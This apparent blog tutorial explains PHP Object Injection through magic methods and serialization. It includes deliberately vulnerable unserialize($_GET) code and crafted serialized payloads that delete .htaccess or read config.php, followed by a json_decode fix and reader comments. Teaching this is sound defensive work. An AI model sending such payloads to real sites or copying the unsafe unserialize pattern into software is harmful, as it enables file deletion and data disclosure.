Understanding PHP Object Injection

PHP Object InjectionPHP Object Injection is not a very common vulnerability, it may be difficult to exploit but it also may be really dangerous. In order to understand this vulnerability, understanding of basic PHP code is required.

Vulnerable applications

If you may think this is not an important type of vulnerability, please see the list below. Researchers found PHP Object Injection vulnerabilities in very common PHP applications:

And many others.  There may be a lot of other undiscovered PHP Object Injections in these or in other very common PHP applications, so maybe you can take a coffee break and try to understand it.

PHP Classes and Objects

Classes and objects are easy to understand in PHP. For example, the following code just defines a class with a variable and a method:

<?php

class TestClass
{
    // A variable
    
    public $variable = 'This is a string';
    
    // A simple method
    
    public function PrintVariable()
    {
        echo $this->variable;
    }
}

// Create an object

$object = new TestClass();

// Call a method

$object->PrintVariable();

?>

It creates an object and call the “PrintVariable” function which prints the variable value.

If you want to learn more about PHP Object Oriented Programming, follow this link: Classes and Objects

PHP magic methods

PHP classes may contain special functions called magic functions. Magic functions name starts with “__”, for example: __construct, __destruct, __toString, __sleep, __wakeup and others.

These functions are automatically called in certain situations, for example:

  • __construct is called when an object is created (constructor)
  • __destruct is called when an object is destroyed (destructor)
  • __toString is called when an object is used as a string

Let’s add some magic functions to our class in order to understand how magic methods work.

<?php

class TestClass
{
    // A variable
    
    public $variable = 'This is a string';
    
    // A simple method
    
    public function PrintVariable()
    {
        echo $this->variable . '<br />';
    }
    
    // Constructor
    
    public function __construct()
    {
        echo '__construct <br />';
    }
    
    // Destructor
    
    public function __destruct()
    {
        echo '__destruct <br />';
    }
    
    // Call
    
    public function __toString()
    {
        return '__toString<br />';
    }
}

// Create an object
// Will call __construct

$object = new TestClass();

// Call a method
// Will print 'This is a string'

$object->PrintVariable();

// Object act as a string
// Will call __toString

echo $object;

// End of PHP script
// Will call __destruct 

?>

We have now 3 other methods: __construct, __destruct and __toString. As you can see, __construct is called when the object is created, __destruct is called when PHP script ends and the object is destroyed and __toString is called when the object acts as a string. The ‘echo’ function will treat $obj object as a string and the __toString function is automatically called.

This script will output:

__construct 
This is a string
__toString
__destruct

These are the basic ideas of the magic methods. If you want to learn about all magic methods please follow this link: Magic Methods

PHP Object Serialization

PHP allows object serialization. Serialization is a procedure that allows you to save an object and reuse it later. For example, you can save an object containing some user information, and reuse it later.

In order to serialize an object, you need to call “serialize” function. It will return a string representation that you can reuse it later by calling “unserialize” function in order to recreate your object.

Let’s take a simple User class, serialize an object and see it’s serialized representation.

<?php

// Simple class definition

class User
{
    // Class data
    
    public $age = 0;
    public $name = '';
    
    // Print data
    
    public function PrintData()
    {
        echo 'User ' . $this->name . ' is ' . $this->age
             . ' years old. <br />';
    }
}

// Create a user

$usr = new User();

// Set user data

$usr->age = 20;
$usr->name = 'John';

// Print data

$usr->PrintData();

// Serialize object and print output

echo serialize($usr);

?>

This will output:

User John is 20 years old.
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}

As you can see, there are class variables and user set data: John and 20. There is nothing related to class method (PrintData), only object data is serialized.

In order to reuse this object, we unserialize the serialized string:

<?php

// Simple class definition

class User
{
    // Class data
    
    public $age = 0;
    public $name = '';
    
    // Print data
    
    public function PrintData()
    {
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
    }
}

// Create a user

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

// Print data

$usr->PrintData();

?>

This will output:

User John is 20 years old.

Serialization magic functions

As the constructor (__construct) and destructor (__destruct) are automatically called when an object is created and destroyed, other magic functions are called when an object is serialized and unserialized:

  • __sleep magic method is called when an object is serialized (with serialize)
  • __wakeup magic method is called when an object is deserialized (with unserialize)

Note that __sleep must return an array with serialized variables names.

An example about how these functions work:

<?php

class Test
{
    public $variable = 'BUZZ';
    public $variable2 = 'OTHER';
    
    public function PrintVariable()
    {
        echo $this->variable . '<br />';
    }
    
    public function __construct()
    {
        echo '__construct<br />';
    }
    
    public function __destruct()
    {
        echo '__destruct<br />';
    }
    
    public function __wakeup()
    {
        echo '__wakeup<br />';
    }
    
    public function __sleep()
    {
        echo '__sleep<br />';
        
        return array('variable', 'variable2');
    }
}

// Create an object, will call __construct

$obj = new Test();

// Serialize object, will call __sleep

$serialized = serialize($obj);

// Print serialized string

print 'Serialized: ' . $serialized . <br />';

// Unserialize string, will call __wakeup

$obj2 = unserialize($serialized);

// Call PintVariable, will print data (BUZZ)

$obj2->PrintVariable();

// PHP script ends, will call __destruct for both objects($obj and $obj2)

?>

This will output:

__construct
__sleep
Serialized: O:4:"Test":2:{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";}
__wakeup
BUZZ
__destruct
__destruct

As you can see, we created an object, serialized it (and __sleep was called), created another object by unserializing the first serialized object (and __wakeup was called) and after the PHP script finished execution, the destructor was called for both objects.

In order to find more information about object serialization, please follow this link: Object Serialization

PHP Object Injection

Now we understand how serialization works, but how can we exploit it? There are multiple possibilities, everything depends on the application flow, available classes and magic functions.

Remember that a serialized object contains attacker controlled object values.

You may find in the web application source code, a class that defines __wakeup or __destruct and these functions do something that may affect the web application.

For example, we may find a class that temporary stores the log into a file. When destroyed, the object may not need the log file anymore, and delete it.

<?php 

class LogFile
{
    // Specify log filename
    
    public $filename = 'error.log';
    
    // Some code
    
    public function LogData($text)
    {
        echo 'Log some data: ' . $text . '<br />';
        file_put_contents($this->filename, $text, FILE_APPEND);
    }
    
    // Destructor that deletes the log file
    
    public function __destruct()
    {
        echo '__destruct deletes "' . $this->filename . '" file. <br />';
        unlink(dirname(__FILE__) . '/' . $this->filename);
    }
}

?>

An example of how to use it:

<?php

include 'logfile.php';

// Create an object

$obj = new LogFile();

// Set filename and log data

$obj->filename = 'somefile.log';
$obj->LogData('Test');

// Destructor will be called and 'somefile.log' will be deleted

?>

In other script, we can find a call to “unserialize” function using user supplied data (attacker controlled – $_GET):

<?php

include 'logfile.php';

// ... Some other code that uses LogFile class ...

// Simple class definition

class User
{
    // Class data
    
    public $age = 0;
    public $name = '';
    
    // Print data
    
    public function PrintData()
    {
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
    }
}

// Unserialize user supplied data

$usr = unserialize($_GET['usr_serialized']);

?>

As you can see, the code uses the “LogFile” class. There is a call to “unserialize” function using user supplied data and here is the injection point.

A valid request would look like this:

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}

But what happens if instead of sending a serialized “User” object we send a serialized “LogFile” object? Nothing forces us to send a serialized “User” object, so we can send any serialized object we want.

Let’s create a serialized “LogFile” object:

<?php

$obj = new LogFile();
$obj->filename = '.htaccess';

echo serialize($obj) . '<br />';

?>

This will output:

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}
__destruct deletes ".htaccess" file.

Now we make the request using the serialized “LogFile” object:

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}

The output will be:

__destruct deletes ".htaccess" file.

And the “.htaccess” file is now deleted. This is possible because __destruct function is automatically called and we have access to “LogFile” class variables so we can set the “filename” to any value.

So this is where the vulnerability name comes from: instead of using an expected serialized object, you inject other PHP object, in order to achieve code execution or other unexpected behavior useful for you as an attacker.

Even if this is not the best example, you can understand the idea: unserialize automatically calls __wakeup and __destruct and an attacker can manipulate class variables in order to attack the web application.

Common injection points

Even if the “default” exploitability is related to __wakeup or __destruct magic functions, there are other common injection points that may allow you to exploit this type of vulnerability. Everthing is related to the application code flow.

For example, a User class may define a __toString method in order to allow the programmer to use the object as a string (e.g. echo $obj). But other class may also define a __toString method that allow a programmer to read a file (e.g. a FileClass).

<?php 

// ... In some other included file ...

class FileClass
{
    // Filename variable
    
    public $filename = 'error.log';
    
    // Object used as a string displays the file contents
    
    public function __toString()
    {
        return file_get_contents($this->filename);
    }
}

// Main User class

class User
{
    // Class data
    
    public $age = 0;
    public $name = '';
    
    // Allow object to be used as a String
    
    public function __toString()
    {
        return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
    }
}

// Expected: a serialized User object 

$obj = unserialize($_GET['usr_serialized']);

// Will call __toString method of the unserialized object

echo $obj;

?>

A valid request will use a serialized User object:

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}

The output will represent the User information:

User John is 20 years old.

But what happens if we use a serialized FileClass object?

We can create a serialized FileClass object like this:

<?php

$fileobj = new FileClass();
$fileobj->filename = 'config.php';

echo serialize($fileobj);

?>

And our serialized string will be:

O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}

What happens if we call the same previous script with our FileClass object?

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}

It will output in the page source the contents of the “config.php” file:

<?php

$private_data = 'MAGIC';

?>

It is easy to understand why: unserialize, instead of creating a “User” object, will create a “FileClass” object. When the script will call “echo $obj”, because the object we supplied is a “FileClass” object, it will call the “__toString” method from “FileClass” class and this will read and output the contents of the file specified by the “filename” variable which we control.

Other possible exploitation situations

It is possible to use other magic functions too: __call will be called if the object will call an inexistent function, __get and __set will be called if the object try to access inexistent class variables and so on.

But the exploitation is not limited to magic functions. The same idea will work with normal functions. For example, a User class may define a “get” method in order to find and print some user data, but other class may define a “get” method that get data from the database, resulting in a SQL Injection vulnerability. Or a “set” or “write” method will write data to an arbitrary file, being possible to exploit this and get a remote code execution.

The only technical problem is about the classes available at your injection point, but some frameworks or scripts may have an “autoload” feature. You can find more information here: Autoloading Classes. The biggest problem is human: to understand the application code flow to be able to exploit this type of vulnerability, because it may require a lot of time to read and understand code.

How to fix and avoid it

Do not use “unserialize” on user supplied data. You can use “json_decode“.

Conclusion

Even if may be difficult to find and even more difficult to exploit, this can be a very dangerous vulnerability. It may result in Denial of service, Arbitrary file read, SQL Injection, Remote code execution or anything that the application code flow may allow.

21 comments

  1. Interesting read. Fortunately best practice is to use “instanceof” after creating a potentially “dirty” object in this fashion, just to make sure. Obviously this won’t stop the constructor or destructor from being called automatically but at least you can stop further function collisions.

    I’m not big into PHP programming these days but are people writing such risky functions into their code? In these articles it’s pretty common to see the writer creating code to specifically work with what they’re talking about but it’s tough to see a real-world use for a destructor function that actually deletes files or a toString that executes a function that could theoretically pull a file from the internet (depending on server settings).

    Like

    1. Using instanceof() won’t help. To use instanceof() you have to have created the object and if the exploit is in __construct() or __destruct() it will get fired (I need to check if there are ways to kill an object without __destruct getting called). You could check the serialized string with a regex but we all know how many holes have been due to poor regex’s.

      If you must decode an object that the user has controleld the object should be json. You can coerce it into a php object if you must by serializing the jsondecoded object then editing the header from stdobj to whatever you desire and unserializing. It’s a gorss kludge but it works.

      Bonus jsondecode is a lot faster than unserialize

      Like

  2. Excellent writeup for people starting in infosec. Trying to validate within the __ToString or object serialization methods isn’t good for protection as obfuscation can bypass most filters. As you state at the end of the article, JSON_decode is the prefered method of protection 😉

    Like

Leave a Reply